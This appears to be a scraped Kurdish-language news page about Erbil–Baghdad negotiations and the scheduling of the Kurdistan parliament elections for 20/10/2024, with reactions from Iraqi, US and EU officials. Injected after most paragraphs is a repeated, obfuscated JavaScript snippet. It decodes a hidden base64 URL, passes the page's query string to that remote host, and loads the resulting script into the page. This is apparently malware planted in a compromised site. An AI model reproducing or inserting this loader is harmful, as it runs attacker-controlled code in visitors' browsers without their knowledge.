هەردو شاندێن حوكمەتا هەرێما كوردستانێ و حوكمەتا فیدرالی د دانوستاندنان دانە بۆ گەهشتنێ ب رێككەفتنێ، بۆ هەموو پرسان پێنگاڤێن باش یێن هاتینە هاڤێتن و رێككەفتن یێن چووینە قۆناغەكا گرنگ.
سەگڤان سندی، ئەندامێ جڤاتا نوونەرێن ئیراقێ ژ فراكسیۆنا پارتی دیموكراتی كوردستان و جێگرێ سەرۆكێ لیژنەیا بەرگری و ئاسایشێ ل جڤاتا ناڤبری گۆت » چوونا شاندێ هەرێما كوردستانێ ل سەر بابەتێن پەترۆلێ و بودجەی و ئەمنی بۆ بەغدا، د دەمەكێ هەستیار دایە، گەلەك دۆسێیێن هەستیار ل بەغدا یێن هەین كو پەیوەندی ب هەرێما كوردستانێ و ئەوێ رێككەفتنا سیاسی د ناڤبەرا چارچۆڤەیێ هەماهەنگیێ و سەركردایەتییا هەرێما كوردستانێ یا هەی، كو هەر بڕیارەكا ل بەغدا ل دۆر كوردستانێ بهێتە دان، دڤێت ب رێككەفتن بیت ل گەل حوكمەتا هەرێما كوردستانێ» .
سەگڤان سندی گۆت ژی» چەندین جاران مەسرور بارزانی، سەرۆكێ حوكمەتا هەرێما كوردستانێ یێ هاتییە بەغدا، گەلەك بابەت هەبوون كو دانوستاندن ل سەر هاتییە كرن. كۆمبوونێن سەرۆكێ حوكمەتا هەرێمێ ل گەل محەمەد شاع سۆدانی، سەرۆك وەزیرێن ئیراقێ و وەزیرێن پەترۆلێ و پلاندانانێ، بۆ ئەڤێ قۆناغێ گەلەك د گرنگ بوون، هەماهەنگییەكا باش یا هەی، ب ئەوێ هەماهەنگیێ دشیاندایە هەموو گرفتێن د ناڤبەرا هەردو ئالییاندا بهێنە ب دووماهی ئینان» .
ئاماژەكر» هەموو شاندێن هەرێما كوردستانێ ب رێنمایێن مەسرور بارزانی، سەرۆكێ حوكمەتا هەرێمێ بوون، ئەڤە ژی هێزەكا دی د دەتە دانوستاندنان و هیڤیدارین گرفت بهێنە چارەسەركرن و تێدا د سەركەفتی بن».
هەر ل دۆر ئەڤێ چەندێ، ئدریس ئسماعیل، پەرلەمانتارێ پەرلەمانێ پارتی دیموكراتی كوردستان ل خولا پێنجێ گۆت » پێنگاڤ بۆ رێككەفتنێ و تێكگەهشتنێ د ناڤبەرا هەوێرێ و بەغدا یێن هاتینە هاڤێتن و دانوستاندن یا بەردەوامە، هیڤیدارین هیچ ئالییەك ئاستەنگان بۆ دانوستاندنان دروست نەكەت، ئەوا ل دەف مە گرنگ بجهئینانا رێككەفتنا شنگالێیە، د نوكە دا رێككەفتنا بودجەی ژی ب باشی یا چوویە پێش».
گۆت ژی» بابەتێ پەترۆلێ و هنارتنا پەترۆلێ ژی یێ مای، دڤێت حوكمەتا ئیراقێ ئەڤی بابەتی چارەسەر بكەت و دوبارە پەترۆلا هەرێما كوردستانێ بهێتە هنارتن».(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();

رێڤەبەرێ سەنتەرێ راگەهاندنا ئیراقی ل واشنتون، ئاماژە ب ئەوێ چەندێ كر: حوكمەتا محەمەد شیاع سۆدانی پێگیری سۆزێن خوە نەبوویە بەرانبەر ئەمریكا.
نزار حەیدەر، رێڤەبەرێ سەنتەرێ راگەهاندنا ئیراقی ل واشنتون د داخۆیانییەكا رۆژنامەڤانیدا گۆت » كۆماری و دیموكراتیخواز ل گۆنگرێسێ ئەمریكی د هەڤڕانە ل سەر ئەوێ سیاسەتا گشتی یا كو ئیدارەیا ئەمریك دخوازیت ل ئیراقێ بجهبینیت.
نزار حەیدەر دیاركر ژی» هەكە ئیدارەیا نوكە یا ئەمریكا بەردەوام ببیت ل سەر دەستهەلاتێ ل كۆچكا سپی، ئامرازێن بجهئینانا سیاسەتا خوە ل ئیراقێ دێ توندتر لێكەت و سیاسەتەكا ب هێزتر هەمبەر كرن ل گەل یا بەری نوكە دێ هەبیت» .
ناڤبری ئاماژەكر» محەمەد شیاع سۆدانی و حوكمەتا وی هەتا نوكە نەشیاینە پێگیری گەلەك ژ ئەوان سۆزا ببن یێن كو ب ئەمریكا داین، بەری هەموویان ژی پاراستنا دەزگەهێن بیانی ب تایبەت ئەمریكییان».
رێڤەبەرێ سەنتەرێ راگەهاندنا ئیراقی ل واشنتون دوپاتی ل ئەوێ چەندێ كر» ئیراقێ ئەو گرنگییا جاران نەمایە كو كارێ بەراهیێ ئەمریكا بیت، هەە ئیدارەیا ئەمریكا بهێتە گوهۆڕین ژی ئیراق هەر نابیتە كارێ بەراهیێ یێ ئەمریكا».
ل دۆر ڤەكێشانا هێزێن ئەمریكی ژ ئیراقێ، نزار حەیدەر دبێژیت» هیچ كەسەك هەتا حوكمەتا ئیراقی ژی باس ل ڤەكێشانا هێزێن ئەمریكی ژ ئیراقێ ناكەت، بەلكو داخواز دهێتە كرن شێواز و سروشتێ مانا هێزێن ئەمریكی ل ئیراقێ بهێتە گوهۆڕین» .(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();

سەرۆك مەسعود بارزانی دوهی ل سەلاحەدین پێشوازی ل فالح فەیاز، سەرۆكێ دەستەیا حەشدا شەعبی كر.
د دیدارەكێ دا، بیروڕا ل دۆر رەوشا سیاسییا ئیراقێ و دەڤەرێ لێكگوهارتن.
هەر د وێ دیدارێ دا تەكەزی ل سەر هەماهەنگی و پەیوەندیێن د ناڤبەرا لایەنێن سیاسی یێن ئیراقی دا و بزاڤ بۆ پاراستنا سەقامگیریا ئیراقێ كرن.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();

سەرۆك بارزانی راگەهاند: ب هەلكەفتا دیاركرنا ژڤانێ هەلبژارتنێن خۆلا شەشێ یا پەرلەمانێ كوردستانێ ل 20/10/2024، دەستخوەشیێ ل سەرۆكایەتییا هەرێما كوردستانێ دكەم. هەڤدەم، پشتەڤانیێ ل ئەنجامدانا هەلبژارتنان دوور ژ دەستێوەردانێ دكەین.
هەروەسا ئاماژەكر: دخوازین ئالیێن سیاسی ل بەرچاڤ وەرگرتنا رەوشا هەرێما كوردستانێ، د هاریكار بن بۆ سەرئێخستا پڕۆسەیەكا دیموكراسییانە و پاراستنا سەقامگیریێ و پێكڤەژیانێ.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();

سەرۆكێ هەڤپەیمانییا سیادە یا سوننی، خەمیس خەنجەر د كرنفرانسەكێ رۆژنامەڤانیدا ل پارێزگەها نەینەوا سەرنج ئێخستە سەر بزاڤێن هەلبژارتنا سەرۆكێ جڤاتا نوونەرێن ئیراقێ و د پشكەكا ئاخڤتنێن خوەدا ئاماژە ب رۆلێ سەرۆك بارزانی كر د بزاڤێن وی دا بۆ چارەسەركرنا ئەوێ پرسێ و دووماهی ئینان ب ناكۆكییان و دیاركر سەرۆك بارزانی رۆلەكێ مەزن ژ پێخەمەت ارەسەركرنا ئەوێ پرسێ گێرایە.
ژ ئالیێەكێ دی ڤە خویاكر، پێنگاڤ ل رۆژێن داهاتی ب ئاراستەیا چارەسەركرنا ئەوێ پرسێ نە، ناڤبری دیاركر ژی كو سەقامگیرییا پێكهاتەیێن شیعە، سوننە و كورد دێ كاریگەر ل سەر سەقامگیرییا هەموو ئیراقێ هەبیت، هەروەسا بەرۆڤاژی سەقامگیرییا ئیراقێ دێ كاریگەری ل سەر سەقامگیرییا هەموو پێكهاتەیان هەبیت.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();

پەیڤدارێ سەرۆكایەتییا هەرێما كوردستانێ راگەهاند: نێچیرڤان بارزانی، سەرۆكێ هەرێما كوردستانێ رۆژا 20/10/2024 وەكو رۆژا ئەنجامدانا هەلبژارتنێن پەرلەمانێ كوردستانێ دیاركر.
دلشاد شەهاب، پەیڤدارێ سەرۆكایەتییا هەرێما كوردستانێ د كۆنفرانسەكێ رۆژنامەڤانیدا گۆت » پشتی دانوستاندنێ ل گەل ئالیێن سیاسی و ل بەرچاڤ وەرگرتنا ئەوان پێرابوونێن بۆ كۆمسیۆنێ و ئالیێن پەیوەندیدارێن دی بگونجیت، سەرۆكێ هەرێما كوردستانێ ب فەرمانەكا هەرێمێ رۆژا هەلبژارتنان دیاركر».

سەرۆكێ حوكمەتا هەرێما كوردستانێ، مەسرور بارزانی پێشوازی ل ئەندو بیزلی، قۆنسلێ گشتیێ نوو یێ بریتانیا ل هەرێما كوردستانێ كر و دیدارەكێدا سەرۆكێ حوكمەتێ پیرۆزباهییا دەستبكاربوونێ ل قۆنسلێ نوو یێ بریتانیا كر و هیڤییا سەركەفتنێ بۆ خواست و پشتەڤانییا حوكمەتا هەرێمێ بۆ وی دیاركر بۆ پێشڤەبرنا زێدەتر یا پەیوەندیێن بریتانیا و هەرێمێ دا. قۆنسلێ بریتانیا خواستا وەلاتێ خوە بۆ ب هێزكرنا پەیوەندیێن هەمەئالییانە ل گەل هەرێمێ دوپاتكر.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();

مەسرور بارزانی، سەرۆكێ حوكمەتا هەرێما كوردستانێ، پێشوازی ل جڤاتا پشتەڤانییا ل پارێزگەها هەلەبجە كر.
شاندێ ناڤبری هەژمارەكا داخوازییان بەرچاڤكرن ژ وان تمامكرنا پێرابوونێن ب پارێزگەهبوونا هەلەبجە ژ ئالیێ بەغدا ڤە. و ئاماژەكر كو ل دەمێ خوە ل سەر راسپاردەیا سەرۆك بارزانی، حوكمەتا هەرێمێ بڕیارا پارێزگەهبوونا هەلەبجە دابوو.
مەسرور بارزانی دوپاتكر كو خزمەتكرنا هەموو كوردستانێ و بتایبەتی ژی هەلەبجە، وەكو سیمبۆلا قوربانیدانا خەلكێ كوردستانێ، ب ئەركێ سەرەكیێ خوە دزانین و هەر چ د شیانێن مە دا بیت، ژ پێخەمەت خزمەتكرنا زێدەتر یا هەلەبجە دێ كەین و حوكمەتا هەرێمێ وەكو پارێزگەهەك رەفتارێ ل گەل هەلەبجە دكەت و ل گەل حوكمەتا فیدرال و جڤاتا نوونەران ژی د پەیوەندییەكا بەردەوامدایە تاكو پێرابوونێن پارێزگەهبوونا هەلەبجە تمام بكەن.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();

پەیڤدارێ پارتی دیموكراتی كوردستان بەیاننامەیەك ل دۆر دیاركرنا ژڤانێ هەلبژارتنێن پەرلەمانێ كوردستانێ ژ ئالیێ نێچیرڤان بارزانی، سەرۆكێ هەرێما كوردستانێ، بەلاڤكر.
مەحمود محەمەد، پەیڤدارێ پارتی دیموكراتی كوردستان گۆت » پشتی راگەهاندنا ژڤانێ هەلبژارتنێن خۆلا شەشێ پەرلەمانێ كوردستانێ ژ ئالیێ سەرۆكێ هەرێما كوردستانێ، پارتییا مە دێ ەست ب بەرهەڤییان بۆ پڕۆسەیا هەلبژارتنێن پەرلەمانی كەین. هیڤیدارین هەلبژارتنێن دیموكراسییانە و پاقژ بهێنە ئەنجامدان كو د بەرژەوەندییا خەلكێ كوردستانێ دا بن».
ئاماژە كر» پشتی ل دەمێ بۆری، پارتی هەلوەستێ خوە بۆ پشكداریكرنێ د هەلبژارتناندا راگەهاندی، نوكە پشكەك ژ كێماسییێن تایبەت ب پێرابوونێن هەلبژارتنان یێن هاتینە چارەسەركرن و پشكەكێن دی د چارەسەركرنێ دانە و پشكەك ژ مافێن هەرێما كوردستانێ هاتنە ڤەگەراندن، لەوما پارتی دێ پشكداریێ د هەلبژارتنێن پەرلەمانێ كوردستانێدا كەت».
د بەیاننامەیا پەیڤدارێ پارتی دیموكراتی كوردستان هاتییە « ل سالا 2022 پارتی گەلەك بزڤ كرن تاكو بەری تمامبوونا ژڤانێ قانوونیێ پەرلەمانێ كوردستانێ پێرابوونێن پێدڤی بۆ هەلبژارتنێن خۆلا شەشێ یا پەرلەمانێ كوردستانێ بهێنە دەستپێكرن، بەلێ مخابن گەلەك ئاستەنگ هاتنە دروستكرن، كو ئەوان ئاستەنگان زیان ل پڕۆسەیا سیاسی و قانوونی بۆ هەرێما كوردستانێ گەهاند و رەنگڤەدانێن خراب بەرامبەر دەستهەلاتێ و مافێن هەرێما كوردستانێ ل دووڤ خوە ئینان. پشتی ئەوێ چەندێ مە بزاڤكر ئەو پێشنیازێن هەین، بۆ پەرلەمانێ هەلبژارتی بجهـ بهێلین بۆ چارەسەركرنا وان ب شێوەیەكێ قانوونی كو رێگرێ ل ئەڤێ چەندێ هاتە كرن».(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();

حوكمەتا هەرێما كوردستانێ و حوكمەتا ئیراقێ و كۆمسیۆنا بلند یا سەربخوە یا هەلبژارتنان و ئەمریكا و ئێكەتییا ئۆرۆپی پێشوازی ل دیاركرنا ژڤانێ هەلبژارتنێن پەرلەمانێ كوردستانێ ژ ئالیێ نێچیرڤان بارزانی، سەرۆكێ هەرێما كوردستانێ كر و هەموو ئالییان بەرهەڤییا خوە دیاركر بۆ سەركەفتنا ئەوان هەلبژارتنان.
حوكمەتا هەرێمێ: پێشوازیێ ل ژڤانێ نوو یێ هەلبژارتنان دكەین
پێشەوا هەورامی، پەیڤدارێ حوكمەتا هەرێما كوردستانێ د بەیاننامەیەكێدا ئاماژەكر» جڤاتا وەزیرێن هەرێما كوردستانێ ب پترییا دەنگان پێشوازی ل ژڤانێ نوو یێ هەلبژارتنێن پەرلەمانێ كوردستانێ كر كو ژ ئالیێ سەرۆكێ هەرێما كوردستانێ ڤە هاتیە دیاركرن».
هەورامی د پشكەكا دی یا بەیاننامەیێ دوپاتكر» حوكمەتا هەرێما كوردستانێ یا بەرهەڤە بۆ هەر هاریكارییەكێ بۆ پشتەڤانیێ ل ئەنجامدانا هەلبژارتنان ب شێوەیەكێ سەركەفتییانە».
حوكمەتا ئیراقێ: پێشوازیێ ل بڕیارا دیاركرنا ژڤانێ هەلبژارتنێن پەرلەمانێ كوردستانێ دكەت
سەرۆك وەزیرێن ئیراقێ پێشوازی ل بڕیارا سەرۆكێ هەرێما كوردستانێ كر سەبارەت ب دیاركرنا ژڤانێ ئەنجامدانا هەلبژارتنێن خۆلا شەشێ یا پەرلەمانێ كوردستانێ كر.
باسم عەوادی، پەیڤدارێ حوكمەتا ئیراقێ راگەهاند: محەمەد شیاع سۆدانی، سەرۆك وەزیرێن ئیراقێ پشتەڤانییا خوە بۆ ئەنجامدانا هەلبژارتنێن پەرلەمانێ كوردستانێ دوپاتكر، هەروەسا پێشوازی ل بڕیارا سەرۆكایەتییا هەرێما كوردستانێ كر بۆ ئەنجامدانا هەلبژارتنێن پەرلەمانێ كوردستانێ ل 20/10/2024.
گۆت ژی» حوكمەتا ئیراقێ دێ هەموو بزاڤان كوت بۆ سەركەفتنا پرۆسەیا هەلبژارتنێن پەرلەمانێ كوردستانێ ب پشكداریكرنا هەموو هێز و ئالی و پێكهاتەیان بۆ ئەوێ چەندێ ئەنجامێن هەلبژارتنان دەربڕینا راستەقینەیە ئیرادەیا وەلاتیێن هەرێما كوردستانێ بیت».
كۆمسیۆنا هەلبژارتنان ل ئیراقێ: ژڤانێ هەلبژارتنێن پەرلەمانێ كوردستانێ یێ گونجایە
كۆمسیۆنا بلند یا سەربخوە یا هەلبژارتنان ل ئیراقێ ژی پێشوازی ل دیاركرنا ژڤانێ هەلبژارتنێن پەرلەمانێ كوردستانێ ژ ئالیێ نێچیرڤان بارزانی، سەرۆكێ هەرێما كوردستانێ كر و راگەهاند: ئەو ژڤانە گەلەك یێ گونجایە.
عیماد جەمیل، سەرۆكێ تیما رۆژنامەڤانییا كۆمسیۆنا بلند یا سەربخوە یا هەلبژارتنان ل ئیراقێ گۆت » لێكگوهارتنا بۆچوونان د ناڤبەرا كۆمسیۆنێ وسەرۆكایەتییا هەرێما كوردستانێ دا هەبوو و دێ دەست ب كارێن خوە كەین بۆ ئەنجامدانا هەلبژارتنان د ژڤانێ دیاركریدا».
پێشتر كۆمسیۆنا هەلبژارتنێن ئیراقێ رۆژا 5/9/2024 پێشنیازكربوو بۆ ئەنجامدانا هەلبژارتنان، بەلێ عیماد جەمیل دبێژیت» راستە پێشتر كۆمسیۆنێ ئەو رۆژە پێشنیازكربوو، بەلێ ئەڤ چەندە بەری مەهەكێ بوو، پێدڤی ب كارێن زێدەترە بۆ بەرهەڤییان و كۆمسیۆنێ هیچ كێشەیەك ل گەل ژڤانێ نوو یێ هەلبژارتنان ل 20/10/2024 نینە و گەلەك یێ گونجایە».
بالیۆزا ئەمریكا ل ئیراقێ: سوپاسییا بزاڤێن نێچیرڤان بارزانی دكەین
ئەلینا رۆمانووسكی، بالیۆزا ئەمریكا ل ئیراقێ د پەیامەكێدا ل تۆرا ئێكس راگەهاند» پێشوازیێ ل راگەهاندنا ژڤانێ ئەنجامدانا هەلبژارتنێن پەرلەمانێ كوردستانێ ل 20/10/2024 دكەین، داخوازێ ژ حوكمەتا هەرێما كوردستانێ دكەین گەرەنتییا پاقژی و شەفافییەتا هەلبژارتنان بكەت».
رۆمانووسكی سوپاسییا نێچیرڤان بارزانی، سەرۆكێ هەرێما كوردستانێ ژی كر بۆ ئەوان بزاڤێن ژ پێخەمەت ئەڤێ چەندێ ئەنجامداین.
بالیۆزا ئەمریكا ل ئیراقێ دیاركر ژی» هەلبژارتن چەندین جاران هاتنە پاشئێخستن، ژ پێخەمەت هەرێمەكا دیموكراسییا كوردستانێ ئۆمێدەوارین هیچ پاشئێخستنەكا دی بۆ هەلبژارتنان نەهێتە كرن».
ئێكەتییا ئۆرۆپا: سەركەفتنا هەلبژارتنان دێ شەرعییەتەكا دیموكراسییانە بۆ بڕیارێن سیاسی یێن هەرێما كوردستانێ ڤەگەرینیت
ژ ئالیێ خوەڤە تۆماس سەیلەر، بالیۆزێ ئێكەتییا ئۆرۆپا ل ئیراقێ راگەهاند، پێشوازیێ ل بەیاننامەیا سەرۆكایەتییا هەرێما كوردستانێ دكەت بۆ دیاركرنا ژڤانێ هەلبژارتنێن پەرلەمانێ كوردستانێ.
سەیلەر ل تۆرا جڤاكییا ئێكس پەیامەك نڤیسی و تێدا دبێژیت» پێشوازیێ ل دیاركرنا رۆژا 20/10/2024 وەكو ژڤانێ خۆلا شەشێ یا هەلبژارتنێن پەرلەمانێ كوردستانێ دكەم».
ئاماژەكر» ژ نێزیك ل گەل حوكمەتا هەرێما كوردستانێ و حوكمەتا فیدرالییا ئیراقێ، هەموو ئالیێن سیاسی ل كوردستانێ و نەتەوەیێن ئێكگرتی كار دكەین بۆ ئەوێ چەندێ هەلبژارتن بهێنە ئەنجامدان».
هەر د پەیاما خوە دا، بالیۆزێ ئێكەتییا ئۆرۆپا ل ئیراقێ خویاكر» سەركەفتنا هەلبژارتنێن پەرلەمانێ كوردستانێ دێ جارەكادی شەرعییەتەكا دیموكراسییانە بۆ بڕیارێن سیاسی یێن هەرێما كوردستانێ ڤەگەرینیت».